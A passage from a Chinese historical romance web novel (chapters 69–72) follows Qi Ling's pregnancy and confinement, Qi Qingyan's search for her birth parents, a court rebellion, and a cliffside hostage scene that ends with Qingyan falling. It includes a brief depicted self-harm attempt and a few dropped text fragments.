她扶着桌边,想吐又因着今日尚未用膳,起得太早,一口水也没喝上,只干呕不止。 银盘吓得小脸都白了,跑过去扶祁泠起来,倒了一杯方才侍女送来的茶水,递给祁泠。 祁泠就着银盘的手,咕咚咕咚喝了几大口,咽下,又问:“母亲知晓你来吗?” 银盘重重点头。看着祁泠面上错愕又惊讶的表情,纵使她有心解释,可冯夫人和祁清宴说话时她不在。 只是冯夫人吩咐着她收拾些祁泠用惯的物件,还有些衣裳鞋袜。当然,还有那么一点她自己的。 银盘不知道,祁泠也没法子。 能问的人只有祁清宴了,但她现下不想见到他,也不想提,只疲惫地闭目。 晚间,侍女照常送来水和膳食,沐浴用的热水浴桶也备好。 祁泠一口气堵着,饿狠了,腹中空的连连作呕也不愿吃饭。 银盘也跟着她一起不吃,祁泠怎么劝也不听。 只是看着送进来的晚膳,荤素皆有,荤有建业店肆烧鸭,素有清炒小菜,一连将近十个菜,坐在祁*泠身旁的银盘直咽口水,勾的祁泠更饿了。 “算了。”祁泠叹气。 有银盘在,她的心情缓了几分。一个人在此,她或许一直不会用膳,直到逼着祁清宴放她出去。 和银盘一起,却觉没什么。 祁清宴光将她困在这里也没用,早晚会有人想起来她。 而且冯夫人知道,母亲不会不管她的。只是没想到,一连五六日在此处,除了送东西进来的侍女,再未见到其他人。 银盘和祁泠同吃同住,两人用了午膳,银盘倒在榻上揉了揉肚子,“娘子,我觉得我胖了些。”反观祁泠,用的也不少,可还是脸上没什么肉。 银盘躺着忽而诶呀一声坐起身,忙蹲着去找她带来的两人衣物。忽而哭丧着脸,“娘子,我月事来了,忘记带月事带了。” “你同她们要。”祁泠顺嘴说着,说完她自己愣住了。 银盘马虎不记事,她自己也迷糊着忘了。从前月事不准,后来慢慢也正常起来,每月都比银盘早个十天。 脑中嗡鸣不止,祁泠几乎不敢细想,起身推开门,同侍女道:“我要见他!”她神情激动,侍女不敢劝阻,亦得吩咐只要内里娘子寻,就去传话,只能去寻人。 窗棂大开,山风携着凉意吹进,薄暮山间微金,是昏暗屋内透进来的唯一光亮。 门被轻轻推开,脚步声停在屏风侧,祁泠抬头,眼帘中是他略有些憔悴的面庞。她开口,声音有些哑,“我是不是……有孕了。你关我在这里,是因此么?” “……是。”他答得算是干脆。 祁泠却垂头,泪似雨落,寻常不止。 “阿泠,叔母同我说了,我们绝不是兄妹。你的生辰在六月……”他向内里走着。 “只是生辰,又能说明什么!?”她看他过来,抗拒、厌恶,顺手从旁边拿起什么,扔过去。 是一盏茶,方才侍女奉进来,放在她手边的。 磕到他额间,瓷制的杯盏砸落于地,茶水迸溅,瓷片四落。 祁泠从未如何恨他,此刻恨他也恨自己,她无法接受孩子,一个孩子生来会受多少轻视,她不想要。 目光落于地上,遍地破碎的瓷片,她毫不犹豫弯身去捡起瓷片,向下抵在手腕上,重重划去。 “阿泠!”祁清宴扑过去,手掌按住她的腕间,锐利的瓷片划破掌心皮肉,滚热的血滴落在她手心,沿着腕蜿蜒而下。 他忍着痛,一点点掰开她的手,拿走锐利的瓷片,“阿泠,求你不要求死。只是误会,只是误会。” 祁泠不相信,一直摇着头。 “若查不清,求你留下孩子……这会是我唯一的孩子,以后,我再不会出现在你面前。”祁清宴攥紧瓷片,疼让他无比清醒。 第70章 第七十章【VIP】 收走了屋内所有锐利物件,连簪子都没留下。 室内燃着安神的香,祁泠很快睡熟,躺在榻间。祁清宴派人唤了朴老来,为祁泠诊脉,开药,他一直守着。 朴正卿觑了祁清宴几眼,稀奇又有些可怜他,脑袋破了,右脸的痕迹明显就是祁家小娘子的手掌么。 他悄悄叨咕几句害人呐,谈情说爱真的害人,当初从容的人去哪了。 祁清宴置若罔闻,在朴正卿给他包扎掌心伤口时,忽而魔怔地问一句,“滴血认亲……能认出兄妹吗?” 朴正卿被噎住了,他从未研究过这件事,只道回去翻翻医术。 祁清宴回祁家时正是夜半,方踏进书房,沉弦捧着信送过来,直到郎君近日对书信着急,每封都要亲自看。 祁清宴拆开,是从南边传来的书信。依着冯夫人给的线索,有了方向不必漫无目的地寻。 王家早已破落,祁泠生母不在。 宋家搬离淮陵,又往南边搬,落脚金城,一处不大的城池。如今是那一片的富商,家主宋岑,只一夫人,素日鲜少见人。 但派去的人从宋府下人口中打探到,宋岑唤妻子,絮娘。 祁清宴在书房门口展信,看罢之后决亲自去一趟金城。 只有祁泠被亲生父母认回去,她才会没有顾虑。他未踏进去,将信递给沉弦,道:“你和青娥去伴着三娘子,和青娥说,是我的吩咐。切记,勿要让三娘子动气。” 沉弦听话点头,转头跑去找青娥姐姐。 而祁清宴连夜去了燕府,告知友人,此去金城,一来一回,快马加鞭昼夜不歇也至少八日。 听后,最激动的是谢子青,他连日奔波,累的不行,“你疯了吧?秦家已经在路上了,慕容氏虎视眈眈,只盯着建业形式。正是随机应变之际,你却要走?” 祁清宴:“有徊梁在,出不了差错。我会尽快赶回来。” 他执意要走,谢子青同他动怒,差点吵起来,还是燕徊梁劝阻:“只几日无碍的,安排妥当,只待一时机而已。” “时机……”祁清宴道:“我想到一人,或可行。” 他商议完事,于夜色正浓时回到祁家,拿着一包裹。率先去的不是琅玕院,反倒是下人居所。 祁家最偏僻之处,挨着侧门,这里放置着祁家车马。在里面,是马厩,对面的屋子住着养马的奴仆。 此处管事听到声音,披着衣裳提起裤子就出来了,没睡醒的模样,见到祁清宴吓得清醒了,跪在地上,“郎君。” 祁清宴没理他,“骊呢?” 管事懵了。而祁清宴略有些不耐烦,添了句,“老夫人送来的人。” 管事知道是谁了,忙回去喊,人却不在,有知道骊在何处的人带路,去了马厩。 深寒的夜里,有人席地而睡。 闻脚步声清醒,抬首见郎君。 “郎君寻他有何事?”管事在一旁问着,祁清宴只蹙眉,“都下去。” 月光空荡荡的照下来,祁清宴问:“骊?” 骊沉默过后,低声应了是。 藏了几年,终让老夫人发现了端倪,寿宴日发觉他和祁观岚走得太近,仔细端详了阿濯的样貌,寻到了生父是何人。 祁清宴劝说着,老夫人才隐忍而未发,只是前几日还是忍不住,将人赶回原本的地方,不许他跟着祁观岚。 祁观岚在母亲面前心虚至极,劝骊先去几日,她再想办法。 “祖母原是要赐死你,我劝祖母,这般姑母会伤心。祖母才发落你到此处来,你可有怨?”祁清宴居高临下问。 骊叩首,道:“奴不敢。” “姑母可孀居,阿濯却不会一直没有父亲,他身上流着祁家的血,父亲只会是门户相当的清流士族,品性好,没有大功勋,也会是清白人家,绝不会是……” 低贱奴仆在祁清宴唇间绕了一圈,最后没能说出来。 若是从前,他定然觉得没什么,骊本就是低贱的身份,若不是姑母,会一辈子在这里。 想到阿濯,他又想起自己的孩子,一颗心突兀软了下来,小阿濯听到表哥说他的父亲,恐怕会难过。 “绝不会是见不得人的你。”他最终叹息道。 骊知道,但他没办法。每次看到阿濯都会羞愧,为何是他的孩子。但又抵不过祁观岚的笑,他曾是她众多陪嫁中的一个,身份低贱,与一件东西无异。 他果断道:“奴愿一死,自愿赴死,奴知……夫人同老夫人母女情深,不会伤了母女之情。” “既不怕死——” 去,“换上衣裳,内里有一密令,拿着,一路避开旁人耳目,速向南。寻到姓秦的都督,私下见他,给他密令,同他说,,生死不论。” “死便死了。若留下一条命。有了功勋,脱奴籍,再来祁府光明正大求娶三房夫人。”他一顿,“或会惨死,你自己思量。” ,去或不去,全由骊自己决定。 ,会去的。 草料里,祁清宴走后,小管事来了,“骐,三郎君怎么亲自来这里了,和你说了什么?”他生怕错过什么, 骊沉默着没回答,管事唾他一口,“以为自己是什么好东西。”随后骂骂咧咧地走了。 此处充斥着马蹄踢踏叩地,马儿扑腾的声音,有些吵,呆得久了,其实不觉。 骊坐在马厩下。 其实他已经不叫骊了,老夫人下了令,将他从三房撵后,再回马厩时,他叫骐。 在祁家,这般的名字有许多,养纯黑色马匹的是骊奴、养青黑色马的是骐奴、骅奴是养枣红色马的奴隶。 这些人,或者说是奴隶,没有固定的名字,养的马死了、出了事,名字会随着养的下一匹马而改变,只为了方便。 他们比不过名贵的马,只是伺候马的人。哪怕是一个小小的管事,也不会费心去记他们的名字。 所以骊奴不愿祁观岚同他的关系被世人知晓。 骊、祁观岚。 两人的名字相连都好似天大的罪过,他坐在散发着粪臭味的马厩墙根,高大的身子被月光拖出长长的影子。 他抬头,不眨眼地望着皎洁的月光。在他心中如祁观岚一般。高高在上,他只能仰望。 曾经祁观岚和离归家,不言不语,不吃不喝,心如死灰。 那时他是新三房的护院,看着曾经雍容华贵,笑如牡丹艳丽的夫人日渐萎靡。 他木讷愚笨,嘴也笨,只在夫人面前干巴巴地劝了一句,夫人,林家不好,没福气,别伤心了。 祁观岚抬眼看了一眼他,记不住他的名字。第一次注意到他。 被老夫人骂了一顿,祁观岚回来喝了不少酒,腹痛吐了一地。她的孩子全被老夫人送回来了,兄妹俩手牵手,两个小萝一起哇哇哭,被女侍抱走哄去了。 祁观岚抓着他问,为什么。 为什么她愿意和他一起死,他都不愿意,直接休了她,不与她多说一句话。 骊不会安慰人,只能继续干巴巴说着,是他没福气,夫人很好。 后来,他知道祁观岚总来逗他,是拿他解闷,每当见到他面红耳赤不知所措的模样,夫人则会哈哈大笑。 纵被愚弄,也甘愿。 他不知道夫人为何会生下阿濯。 他每次问,夫人都笑得神秘,不告诉他。 四更到了,鼓声响着,一慢三快。 骊奴没动。 又至五更,鼓声会响起五次。再过一阵儿,天色将明。 第一声鼓响,他站起来。 第一声鼓响,他脱下马奴干活的脏衣。 第三声,从草堆中翻出包袱。 第四声,他三下两除一换好里面的衣裳,将密令藏在胸前。 第五声,他回首,望着三房的方向。留恋看了一眼,随后大步离开。 此后,祁家再无骊。 …… 三日之后的金城,宋家府邸,有人拜访。主家不在,这日出门做生意去了,只有夫人在府中。 下人通禀一声,但夫人不常见客,故同客人言说,劝其改日再来。 客人却言,今日势必等到主人家。 在此一直等着,从晨间等到将近午时,未动一口水。 下人又去通禀夫人,夫人心善,罕见的独自见客。 祁清宴起身,看着宋府的夫人走进客堂。只一眼,他便认出,这是阿泠的生母,同她眉眼相像,几近相同的含情秋水眼眸,只是妇人周身温柔,五官柔和。 而祁泠面庞轮廓更清晰,更多的是孤清执拗。 苏絮见来人是位年龄不大的郎君,她确定自己未曾见过,问着:“可是宋岑的友人?” 祁清宴摇摇头,“不是友人,小辈前来拜访。” 苏絮犯了难,“他不知何时才能回来。早间说最早晚膳前,迟则明日午时了。不如郎君在客居暂歇,等夫君归来,妾身派人去告诉郎君?” “不了。”祁清宴的心静下来,对面是阿泠生母,他想着阿泠见到生母会有多高兴。他态度谦卑:“小辈有要事想与夫人言说,可否请夫人遣走侍从。” 身旁女侍劝着不可,苏絮却觉得对面不是恶人,毕竟郎君清贵,容貌俊秀,举止端重,她只留下身旁亲信女侍。 祁清宴望着对面妇人的眼,问:“夫人可有女儿?” 苏絮一愣,露出十分为难的神情,随后一笑,委婉道:“我若有合适的女儿,也想许给郎君。只是我女儿年岁尚小,恐与郎君不般配,况且性情顽劣。” 她说话时,面上慈爱又温暖,提起顽劣也不是埋怨,反倒是喜爱。 以为祁清宴上门是为了娶女,毕竟宋家富裕,说是这边首富也不为过。 女娘才十三,上门求亲的人甚多,女侍态度和缓,“我们大娘子才十三岁。” 祁清宴则面容变冷,攥紧袖中手。长女在她心里毫无分量,提起女儿一字毫无愧疚之心? 他语气冷下来,眼神锐利了些,直白问:“夫人年岁不轻,恐记性不好,没有将过十六岁生辰的女儿么?” “你这是说的什么话!”女侍怒,喊人进来将赶祁清宴出去,苏絮抬手止了。 祁清宴以为,她既曾经许诺过要带阿泠走,后音讯全无,改头换面居在此处,一家和乐,起码在他点破之后会有些狼狈和愧疚意。 但他没想到,苏絮的神情当真迷茫又真诚,同他解释:“我十五年前才嫁于宋家,此前在娘家侍奉母亲,因此一十出嫁,如今一女两子,都年岁尚小。” 她疑惑问着:“我当真没有那般大的女儿,郎君是不是认错人了?” 祁清宴细细揣摩对方神情,不像说谎。他试探地问:“我听夫人口音熟悉,不知夫人可曾去过淮陵?” 淮陵一字一出,女侍脸色转瞬白了。 祁清宴心中一紧,转而看苏絮,苏絮摇摇头,“我没去过。”但她皱眉,“我嫁人前磕碰到头,失了忆,或是之前去过,染上口音也未可知。” “既失了忆,又怎知娘家何处?”祁清宴咄咄逼人,苏絮只要一回想,头便开始疼,疼到她伸手按着。 想解释,她知道娘家是因为,当初醒来时周围是父母兄长,同她说,她是家中幼女,碰头失忆。 客堂门前光亮被遮挡,闻信归来的宋岑快步走进,扶起苏絮,送她回房。对着祁清宴,只冷冰冰吐出逐客两字。 祁清宴冷笑一声,不用旁人撵,停在客堂门前,贡承贡嘉两兄弟跟着,宋家侍从没法硬赶人走。 不稍多时,宋岑出门而来。 他身量比祁清宴低些,一张脸冷着,样貌尚可,丹凤眼、高鼻梁,下颌分明,此刻紧绷着:“祁家人?无论你因何而来,我和夫人皆无可奉告,宋家也待不起祁家贵客,请回吧。” “她是你女儿。”祁清宴道。 宋岑的身子僵住,祁清宴接着说:“她不像我父亲,无论是性情还是容貌,同我也没有一丝相似之处。 阿泠眉眼像你夫人,轮廓像你。她生气时冷着脸的模样,没人比我更清楚,与你方才一模一样。” 宋岑挥退侍从,转身看着祁清宴,“那又如何?絮娘受不得刺激,认回她,只会让絮娘想起从前苦痛。” 他神色淡淡,“既无养恩,她有士族娘子头衔,活着也好。” 终于找到了阿泠的生父生母。 祁清宴应当觉得轻松,但此刻却难一颗心揪着,为阿泠难过,她的母亲有了新的子女,满心慈爱。 父亲见他来也不吃惊,明知她的存在,一直都知道,却视若不见。 “好么?养父养母也有亲女,不能为她考虑周全。顶着不明不白的身世,谨小慎微地活着,在旁人面前不敢肆意笑闹。一切只为你的私心?你不配为人父。” 祁清宴冷笑一声,继续说:“你自以为重情重义,抛弃女儿为了夫人?我父亲有错,但起码他要认回女儿,为其筹谋,不愿血脉沦落在外。 你不想夫人得知,是为了她好,还是看着女儿就会想起当初……自己心里不快?假情假意之人,阿泠没有你这般狠心的父亲。你不想要她,祁家会是她以后的家。” 祁清宴说罢,看了一眼客堂门口的妇人,转身离开宋家。 他要回建业。 那里有他的阿泠和孩子。 宋岑站在原地许久,心中一点不堪被说破,他从未见过那个孩子,但只是一想起她,就会想起絮娘曾在建业受苦。 絮娘好不容易忘掉了当初。 他此后再没回建业,多年来花重金压下关于苏家、关于絮娘的一切消息。 一声叹息,随那个孩子吧。 宋岑站到腿脚发麻,想着回房后,怎么同夫人解释,干脆说祁清宴是个闹事的疯子好了。 他回过头,苏絮并没在后院,她就站在客堂门口望着他,满脸是泪。 70-75 第71章 第七十一章【VIP】 四月二十一。 这日,新帝楚徇上位三月有余。 晚间月明星稀,带着凉意的风迎面吹来,前方便是建业主城,一片城垛安静相连,不知还能安稳几时。 祁清宴调转马头,凝目在东南方向一座不起眼的山峦之上,依稀可见几点烟火。 再等等就好了。 阿泠如今对他抗拒,不像她情绪激动,祁清宴压下心中想立刻见到她的急切心,等一切尘埃落定再去见她吧。 况且宋家还要寻个法子同她解释。直白说去,定会伤心。 祁府侍从急切来寻,祁清宴听后,先回了祁家。 祁府中已然乱成一团。 祁清宴方离建业,宫中内侍便来祁府传召祁泠进宫,言是皇后娘娘召见。 曾经便有一出逼亲之事,老夫人也知来势汹汹恐不怀好意,想了法子也推脱不去,毕竟对方是皇后。 只得说祁泠不在祁府,内侍去了二房宅院寻。祁泠也不在那处,内侍咄咄逼人,冯夫人按照祁清宴的嘱咐,将祁泠去了何处,推到他身上。 五日前,宫中又传旨来,直接召祁泠进宫,位份还是最末的选侍。 这回是陛下圣旨,不可违背。 老夫人再怎么也将祁泠看成亲生的孙女,若是贵些的身份也罢了,一个选侍,比宫女强不了多少,无疑是对祁家的轻视。 可找不到祁泠人,也没办法,只能暂且抗旨。 祁清宴又无旨离宫,在外多日无音讯,楚徇大怒,几欲将他打成乱臣贼子。 他先回建业府中,安抚了老夫人,出门又见祁观颐。 “你将阿泠藏在何处了?来日,我带阿泠进宫告罪,怎么也要保住阿泠,不能太得罪陛下,也不能委屈阿泠。 你应当知道了,阿泠是——” “楚徇无仁德、又无才干,不收北关以北,只知内斗,手握生杀大权却连守成之君都做不了。父亲为何要进宫告罪,为何不能得罪?”祁清宴冷道。 “清宴!”祁观颐斥了一声,“此话不可多说,如今已是楚家天下。” “为何是楚家天下。谁人暂做主,天下便要冠谁之姓么?父亲总说民为重,又要一直隐忍到何时。楚家亦是卑鄙偷来的位置,反了又如何?” 祁清宴方赶路而归,眉眼难掩淡淡的疲惫,却如一汪平淡的湖水,态度平淡。 祁观颐一脸复杂地看着他,知道自己是管不住儿子了。 他一直知道不对,儿子在暗地忙活着什么,今日终于听祁清宴说出大逆不道的话,全然不觉惊讶。 只是叹道:“楚家固然不好,但又有何人可掌权,皆名不正言不顺,反楚,不知要死多少人,可行但伤民。清宴。” “沈惊鸿可以。” 祁观复大惊,心中反复念叨这名字,终于想起这是老夫人的侄子。 说是侄子,但关系已经离得有些远了,老夫人只是宗室的女儿,姓沈。祁清宴说的是前朝皇室覆灭时,年纪尚小的太子。 祁观颐先是惊诧,琢磨后明白,拥护前朝太子,书楚氏罪行,倒也可行。只是当初已死的太子如何活下来,又一直在何处? 还未等他问出来,祁清宴又道:“此事,宫中恐怕已知晓,我稍后会去一趟慕容氏,同舅父商议。 还有,阿泠不是父亲的女儿。生父生母在金城,父亲不信可自己去查。” 一件接着一件,祁观颐愣在原地,已然反应不过来。 祁清宴早起便要进宫,今晚注定无法安眠,一进宫,形式无法预料。打算,先出府,去慕容府上。 走到半路,被祁观岚拦住。 祁观岚听到祁清宴回来,就赶着来了,她怒问:“是你,是你让他去的?” 不必提是谁,祁清宴当初没避着府上人,就没打算要隐瞒此事,干脆应是。 “他不会如此做,你是在让他送死!” 前些时日,建业外有人带着几千人起义,朝中已派出两万士兵平乱。祁观岚是在外饮酒时听见的。 她听时一笑,此处是建业,岂是几千兵卒可打进来的? 直到听见对面领头之人的名字,关山风。 再听人描述样貌。 就是他。 他曾因名字总是卑怯,不想让她提他的名字。还是阿濯出生前,她随意给他起了名字,从她名字中一字取音为他姓,末字拆开。 她打了祁清宴一巴掌,“我是你姑母,他是阿濯的父亲!我一直不敢相信,你为何要算计到自己人身上,等着你回来亲口问问,我已经丧夫一次,你还要我再丧夫吗?” 被亲人恶言相向,祁下来,用祁泠绣的帕子擦了擦脸,随后道:“姑母,你也知道,祖母。” “不应允?母亲难道会同意你娶祁泠吗?我这便要去告诉母亲。”祁观岚怒而道。 “若姑母不怕祖母今日气死,姑母大可前去。”祁清宴无心同祁观岚仔细说这些,转身便走。 ,顾不得什么夫人身份,用袖子捂着脸,痛苦的呜咽声响起。 ,又去谢府,随后天亮进了宫。 一连几日都未出宫,怕祁泠担忧,进宫前送了书信给祁泠。 窗外青葱, 祁清宴简单写已寻到她亲生父母,等他来同她亲自言说。最后四字是勿忧,勿念。 她将手中书信置于旁处,看到已寻到父母,即使不抱着希望,也想见上一见。 然后呢,她认回亲生父母,两人就能在一起了吗,祁家又经了一场闹剧,该如何自处? 她想的头疼,便也不想了。 和银盘一起住在这里,时而闻见香火味道,祁泠经常想不起肚子里还有个孩子,又不知拿孩子该怎么办,干脆不想。 青娥照看着两人饮食,祁泠吃了偶尔会吐,银盘又胖了一点。 建业的风声传不到这里。 直到收到信件三日后,院门敲响,祁泠惊讶是谁,开门见是嬷嬷。 嬷嬷进来,径直跪着,哭着:“娘子,大人要不好了,想见娘子一面。” 祁泠毫不犹豫立刻便要走,青娥拦住了,“娘子……如今外面乱,我这便传信给郎君,由郎君带着娘子去吧。” 嬷嬷站在一旁默默哭泣,祁泠攥着嬷嬷的手,坚定道:“不必,我今日就走,只是去见父亲一面。”她腹中有孩子,又强硬地要出门去,青娥没有办法,拦不住人,只得放了人走,立刻派人去告诉郎君。 祁泠坐上马车,察觉换了马夫,视线盯着她。她转而看嬷嬷,嬷嬷擦着泪,忍不住大哭起来,“娘子,还是回去吧,我对不起娘子。” 祁泠心有预料,平静道:“无事,我回去。” 二房的宅院今日安静的太过。 祁泠走进屋内,一家人被整整齐齐地捆了起来,冯夫人和冯妆、祁云漪、祁观复,每个人嘴都被捂得严严实实。 见到她来,冯夫人想要说话,却因嘴里堵着的东西而不能。 楚徇从侧室走出来,身后跟着两内侍,身量纤细面白无须。 祁泠知道他成了皇帝,可看着他染脏的衣衫,面上的伤口,后面跟着的内侍衣摆染着层层污血,内心一阵凉过一阵。 “怎么?见到朕很意外。”他阴沉沉地道了一句。随后内侍上前将她按在地上,头重重一磕,硬生生行了大礼。 祁泠额间泛红,抬头,看着楚徇,“你要做什么?” 楚徇闻言走近,伸手过去,一如从前一样让祁泠感到恶心,她仍下意识想躲着。 只是这回身旁两内侍的手死死摁住她的脸,只能眼睁睁看着楚徇的手捏着她下颌,端详几眼她的脸,抬手打了一巴掌。 他睨着被迫着跪下的祁泠,讥笑道:“原以为你是个冰清玉洁的,没想到私下和祁清宴滚在一起,亏你们二人还是兄妹,当真是个□□的贱人。” 祁泠侧着头,几缕碎发落在眼前,脸上火辣辣的,心里的难堪远比面上的疼来的明显,听见那边祁观复和冯夫人模糊力竭的呼喊,她不敢抬头。 怕见到,父亲和母亲看她异样的眼神。 她不敢,故而没看到,在楚徇说后,冯夫人望着她流泪,她知道祁泠怀着孩子,回来只是为了救她们。 而祁观复,极度惊诧过后,再望过去的只有心疼。他知道阿泠不会做出这等大逆不道之事,若想攀求富贵,在江州时便有大把机会。 此事只能是祁清宴强迫。 楚徇笑着道:“朕都快忘了你……前几日才从爱妃口中得知,你和祁清宴曾做快活夫妻。他诡计得逞,如今应当在宫中开怀?我倒要看看,假兄妹假夫妻,他会不会来救你。” 外面士兵半张脸是血,进来跪着禀着:“陛下!宫中有人追过来。” “走!”楚徇恨得牙痒痒,走到门口,往回看着冯夫人几人,微微眯眼,似在思索要将这几人怎么办。 祁泠立刻道:“别殃及他们,若是你动他们一下,我立刻咬舌死了,也不会让你如愿。” 其余人死不死,如今楚徇不在乎,他只想让祁清宴后悔,让祁清宴去死,闻言摆摆手,准备离开。 从宫中逃出来的一行人狼狈,内室仍有人,战战兢兢的宫女扶着大腹便便的宫装贵人走出来。 祁泠见她一愣,嫹娘扶住肚子望了祁泠一眼,祁泠想到,这应当就是方才楚徇口中的爱妃。 短暂视线交汇,谁也没说话。 嫹娘由着宫女扶上一辆马车,祁泠手脚被绑起来,嘴里塞进抹布。 被内侍推进后面更破旧的马车,外面罩着布,内里黑漆漆的,除了她再无旁人。 楚徇的声音在外响起,“给祁清宴送信去,让他独自前来,若是见到任何人,别怪我直接将他妹妹扔进崖底。” “看好她。”最后一句,不知在吩咐何人,楚徇语气依旧高高在上。 车帘掀起,光影照着,基本能看出进来人的轮廓是一男子。 祁泠害怕往后躲去。 她怎么可能不害怕?只是对她来说,养父养母如亲生,她不能看着他们去死。知道是陷阱也会往里跳,因为不想他们出一点意外。 一只手手伸来,嘴里的麻布被扯下去,来人道:“阿泠妹妹。” 这声音太久没听过了,以至于祁泠都要缓一下,才反应过来进来的人是谁。 他从袖中摩挲着拿出火石,点燃了车壁残下的一小节火烛,昏暗中,烛火映照出他沧桑许多的面庞,眉间竟有了淡淡褶皱,抬起眼皮望向祁泠。 他目光下落,停在她捂住小腹的手。 卢肇月开口,“你有身孕了?” 祁泠嘴唇紧紧抿在一起,不知卢肇月如今是敌是友。去岁,除了身世再未受过什么挫折的女娘年轻气盛,两人的婚退的太不留体面。 卢肇月从衣袖中又拿出银制的小水壶,拧开,倒了一杯递给她。 祁泠没接,他强硬送到她手中,慢慢道:“我有两个孩子了,阿泠妹妹。长女刚喊爹爹,与表妹的儿子方满月。 你的孩子多大了。” 因为有了孩子,他的心思变得敏感又细腻,才看出祁泠一点下意识的反应。他不喜妾室,对表妹只有敬重,却极喜欢两个孩子。 祁泠从未想到两人还有心平气和坐在一起谈孩子的机会,她抿了一口水:“或许,有两个月了吧。” 卢肇月笑笑:“你的孩子,长大一定很好看。” 唇动了动,却说不出来,祁泠不知道这个孩子能不能生下来。 从前是想着,即使生了,也会受到许多非议,如今这样情形,这个孩子还能活下来吗?她也不知道。 卢肇月靠近她一些,将声音压低:“宫中生变,十日前有人起义,将楚氏某朝篡位的罪过大白于天下,朝廷派兵去平反,建业守卫弱了些。他之前又召各州都督归建业,打算收兵权,临川姓秦的都督收复了起义之人,直接反了。” 说到此,他顿了顿,“妹妹可知燕徊粱是前朝太子沈惊鸿?” 瞧着祁泠面不改色,只小口喝着水,卢肇月就知她知道。 她和祁清宴关系亲近,怎会不知,只是心里又有点苦,继续道:“原本能拖上几日,谁知建业皇城竟有密道,建业城无声无息就破了。祁清宴,仍在皇宫中。” “别害怕,阿泠妹妹。”卢肇月陪着她坐着,“我有一儿一女,我得活下去。你有孩子,你也是。” 车马颠簸得人欲呕,走在陡峭的山路,约莫过了半个时辰,在一处停下。 车壁被人在外敲了敲,祁泠被赶着下了车,见远处皆是山崖。 她嘴里又被卢肇月塞了麻布,重新绑上她。 楚徇挥了挥手,残下的四五十士兵散到周边草丛之中,远处有小路直通建业。嫹娘所在的马车并没停下,从小路径直离去。 楚徇朝她冷笑,“朕是败了,即使死,也要拉上祁清宴作陪。” 祁泠咬紧牙关,望着他的眼神满是厌恶,鄙夷,仿佛他不是皇帝,而是最低贱的人,连提起祁清宴都是冒犯。 这眼神太过熟悉,祁清宴一直这么看他,楚徇又恼怒起来。 卢照月怕祁泠挨打,毕竟她在人家手里,上前说起派去送话的人已经回来,阻了两人说话。 候了不久,马蹄声落,一下又一下砸在祁泠心间。 在这一刻,她无比期盼来的人不是祁清宴。她不知道自己为什么不想他来,她死了也就死了,一切都清净结束了。 他要是来了,她又亏欠他一点,两个人恩恩怨怨反复纠缠,无解。 楚徇看见来人,冷笑一声,一把推开卢肇月,抽出腰间剑,架在祁泠脖子上,“你倒是重情重义,只是如今敢来,未免太胆大包天。” “你跪*在地上,给我磕三个响头,我就放了她。” 祁清宴一身破旧官服,来不及换,比楚徇更狼狈,身上还有几道鞭痕连带血痕,方回建业,进宫受了刑罚。 他下马,率先看了祁泠,看见她高肿的一侧脸颊,额间也红肿,除此之外没有旁的要害伤,可他的心还是疼着。 克制着不看祁泠,祁清宴也不理会楚徇的疯言疯语。楚徇好不容易抓到了祁泠,即使真的跪下磕头,他也不会放下唯一的救命稻草。 祁清宴站在一处,“我放你走,明日天亮之前不会有人追杀你。否则,追兵不久将至,你必死。” 楚徇面上僵着,被祁清宴说中痛处。 谁不想活着,活着就有东山再起之日。沈惊鸿若不是卑躬屈膝,在慕容家长大,如今能有翻盘的机会吗。 他有些意动,牙齿紧阖一起发出嘎吱的响,手上剑却往下压了压,割出一条血痕来,盯着祁清宴,眼神阴鸷,“我不相信,一个女子而已。” “你同意,其余人怎会应允?” 祁清宴道:“别动她,我来换她,其余人必会应允。” “行,”楚徇冷哼一声,“换有何用,除非,你站着别动,我命人绑起你手脚,你做人质,我带着你一起走。” 祁泠朝着祁清宴摇头,不想他来换她,他换她做什么? 她是为了冯夫人和祁观复心甘情愿,死了也没关系,那他呢,她忽而想到,如她一般。 他也愿意拿命来换她吗? 她还没想明白,泪已经从眼角滚落,沿着脸庞滑进了嘴里,有些麻木的嘴尝到一丝咸。 “你往边上走些,我不放心。” 祁清宴听他话,毕竟祁泠在他手里,走向崖边,楚徇也随着走去,不过离祁清宴有几大步距离。 楚徇紧紧盯着祁清宴,手上拿剑的力道都有几分松懈。比起装成蛇鼠的燕徊粱,他其实更恨一直游刃有余的祁清宴。 即使他成了皇帝,祁清宴似乎也不以为然,表面听话,背后毫无敬重。 他恨。其实他骨子里有一股狠劲,否则也不会这么早成为皇帝。 楚徇心下冷笑,不再往祁清宴身边走,眼中没有对他自己陌路的害怕、有机会逃生的欣喜,全然是病态的疯狂。 内侍系着祁清宴手脚。 祁泠着急,余光见到草丛之中的士兵正拉紧弓箭。 那一刻,她鬼使神差地明白了,楚徇哪里是要逃走。 他明明有逃走的机会,却先挟持冯夫人,掳了她来,又送走有孕的嫹娘,留了后手。 在此只是为了杀祁清宴泄愤。 祁泠想说话,让祁清宴不要这么傻,可嘴里有卢肇月塞进来的麻布,她挣脱不开,只能发出支吾的喊叫。 她顾不得自己,绳子头就在她手中攥着,卢肇月没捆她。她手心还有一截断簪子,毫不犹豫抬手,朝着楚徇脖后刺去。 鲜血沿着簪头汩汩而出,楚徇一只手捂住,转头目眦欲裂,抬剑就要砍去祁泠。 内侍只尚未系紧祁清宴的手,祁清宴见此立刻上前,夺过他手中剑,刺向楚徇。 方才埋伏的士兵也动了手,抬高箭,松手,箭划破空的刺耳声响起。 卢肇月快步走过去,手疾眼快拉住祁泠,将她拉走。 楚徇的手下想要杀祁泠,卢肇月一路跟着,已经成了楚徇之下的人,此刻怒斥道:“你要陪葬吗?” 远处传来车马声,赶来的追兵到了。 再无人动手。 “祁清宴!” 祁泠无心看远方,不在意有人来救他们。只是喊着他,声音不自觉带上哭音,却只能看着从四面八方来的箭,几支没入他胸膛。 一切来的太过匆忙,楚徇压根就没想着自己要活,也没想着要让他活。 无力反抗的楚徇,给他挡了些箭。 他目光落在她身上,那眼神似乎有很多要说的话。嘴唇微动,似乎说了一句话,落入崖中,声音被风撕扯着吹散。 祁泠听不清他说了什么。 只看见他口型。 再不见他身影。 呼啸的风声伴着赶来众人惊呼声响起,声声清晰落入耳中,她麻木的脑子恍惚着、回想着,好像明白了他在说,阿泠。 满心情愫,要说的千言万语皆融入这两字。 吾妹阿泠。 吾妻……阿泠。 第72章 第七十二章【VIP】 青娥匆匆赶来,为她盖上披风,不知不觉间隔开了祁泠同卢肇月。 卢肇月亦有要事,劝降剩余的内侍兵将,也是他早早向宫中报信,一路留下位置。察觉楚徇靠不住时,他表面跟着,私下里已投奔了新皇。 